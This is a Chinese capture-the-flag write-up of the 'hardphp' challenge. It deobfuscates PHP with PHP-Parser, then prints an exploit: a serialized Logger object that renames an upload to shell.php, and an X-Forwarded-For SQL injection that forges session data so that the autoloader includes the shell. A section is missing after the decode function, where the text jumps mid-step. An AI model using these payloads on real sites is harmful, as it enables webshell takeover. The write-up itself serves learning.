高校战役hardphp复现

记录hardphp这道题复现过程,学习了Php-Parse进行混淆和解混淆和Session机制的另一种利用方式,如有不足,希望师傅们批评指正。

0x01 解混淆

拿到题目源码 ,是下图的格式,需要解混淆。

image-20200329115420004

比赛结束后看了zsh师傅发的文章,知道正解是用Php-Parser来解混淆,文章里提出了一种通过Parse来进行代码混淆的方式,Parser是可以用来对php代码进行语法分析的工具,可以将php代码解析成抽象语法树,然后遍历语法树修改树上的节点,最后再将修改后的语法树转换为php代码。这样就可以达到一个混淆代码的作用。遍历抽象语法树需要用到Node visitors ,其相关用法如下图,去这里Walking the AST详细看下,可能更好理解。

image-20200329133214620

然后看题目中混淆代码的大致规则,可以看到每个php文件前面都是类似这样的结构

1
2
3
4
5
$GLOBALS['�����']=unserialize(base64_decode('xxxxxxxxxxxxxxx'));

$GLOBALS[$GLOBALS['�����'][0]]=$GLOBALS['�����'][3]($GLOBALS['�����'][2]($GLOBALS['�����'][1]));

$GLOBALS[$GLOBALS['�����'][0]][$GLOBALS['�����'][4]+($GLOBALS['�����'][5]-$GLOBALS['�����'][6])]

可以知道$GLOBALS['�����']为一个数组,首先反向解出$GLOBALS['�����']如下图

image-20200329121029339

可以看出$GLOBALS['�����'][1]仍为一串base64编码的字符串,$GLOBALS['�����'][2]base64_docode$GLOBALS['�����'][2]unserialize$GLOBALS['�����'][3]之后的值都为int型整数,然后分析上面代码的的第二句

1
$GLOBALS[$GLOBALS['�����'][0]]=$GLOBALS['�����'][3]($GLOBALS['�����'][2]($GLOBALS['�����'][1]));

将值代入后可以得出

1
$GLOBALS[$GLOBALS['�����'][0]]=unserialize(base64_decode($GLOBALS['�����'][1]));

我们解出$GLOBALS[$GLOBALS['�����'][0]]如下图

image-20200329121724099

$GLOBALS[$GLOBALS['�����'][0]]仍然为数组,里面的值有字符串和int值;

然后分析上面代码的第三句

1
$GLOBALS[$GLOBALS['�����'][0]][$GLOBALS['�����'][4]+($GLOBALS['�����'][5]-$GLOBALS['�����'][6])]

将其中内容简写后如下图所示:

image-20200329123658889

就是取$GLOBALS[$GLOBALS['�����'][0]]数组中,对应索引为后面三个值相加减后的结果的值。然后我们开始解混淆,

1
2
3
4
5
6
7
8
9
10
11
function decode ($beforeFilename,$afterFilename){
///去掉数组
$parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7);
$ast = $parser->parse(file_get_contents($beforeFilename));
$traverser = new NodeTraverser();
$traverser->addVisitor(new ArrayToConstant($parser));
$ast = $traverser->traverse($ast);
$prettyPrinter = new Standard();
$ret = $prettyPrinter->prettyPrint($ast);
echo "<?php
?>

的图片,在首页可以得到图片在服务器上的文件名,

然后编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Upload
{

}
class Logger
{
protected $err = [];
protected $handle;
public function __construct($up)
{
$this->err = array("/var/www/html/img/upload/air5f878bshuwonslz1lmtce1j9nt8zf.jpg" => "shell.php");
$this->handle = $up;
}
}

$upload = new Upload();
$logger = new Logger($upload);
$d = urlencode(serialize($logger));
$e = str_replace("%00","',0x00,'",$d);
echo 'HTTP_X_FORWARDED_FOR[\',data%3dconcat(\'data|'.$e.'\')%23\']=123';
echo "\n\n";

然后发送两遍,第二遍触发反序列化

image-20200329171758795

然后在/img/upload/文件夹下生成shell.php,然而并不能利用,因为在upload文件夹下有.htaccess文件

1
php_flag engine off;

禁止了php文件执行,那么只能寻找include之类的文件包含来利用了,然后发现core.php中有类自动加载器,并且有include文件包含。

image-20200329172720885

然后寻找那里有使用了未定义的类,

image-20200329174200228

每个接口差不多都有一个$v2变量的getTime()静态方法的调用,$v2来源于$_SESSION[‘data’]中数据的反序列化,如果$v2为一个字符串,就可以调用字符串对应的类的静态方法,那么这里如果$v2为一个未定义的类,就会触发前面的类加载器,包含shell。然后伪造session的data。

image-20200329175736213

另外也可以发送

1
username=aaa&password=aaa&HTTP_X_FORWARDED_FOR[',data%3dconcat('data|O:5:"shell":0:{}')%23']=123

本地测试后,这种方式不是通过$v2调用静态方法触发的,猜测是在unserialize时接收的参数是一个类对象,然后触发的类自动加载器。

之后访问/?s=img/upload就可以得到shell了。

image-20200329180252026

参考链接

https://ganlvtech.github.io/2019/03/01/enphp-decode/

https://xz.aliyun.com/t/3453

https://xz.aliyun.com/t/3428

https://blog.zsxsoft.com/post/42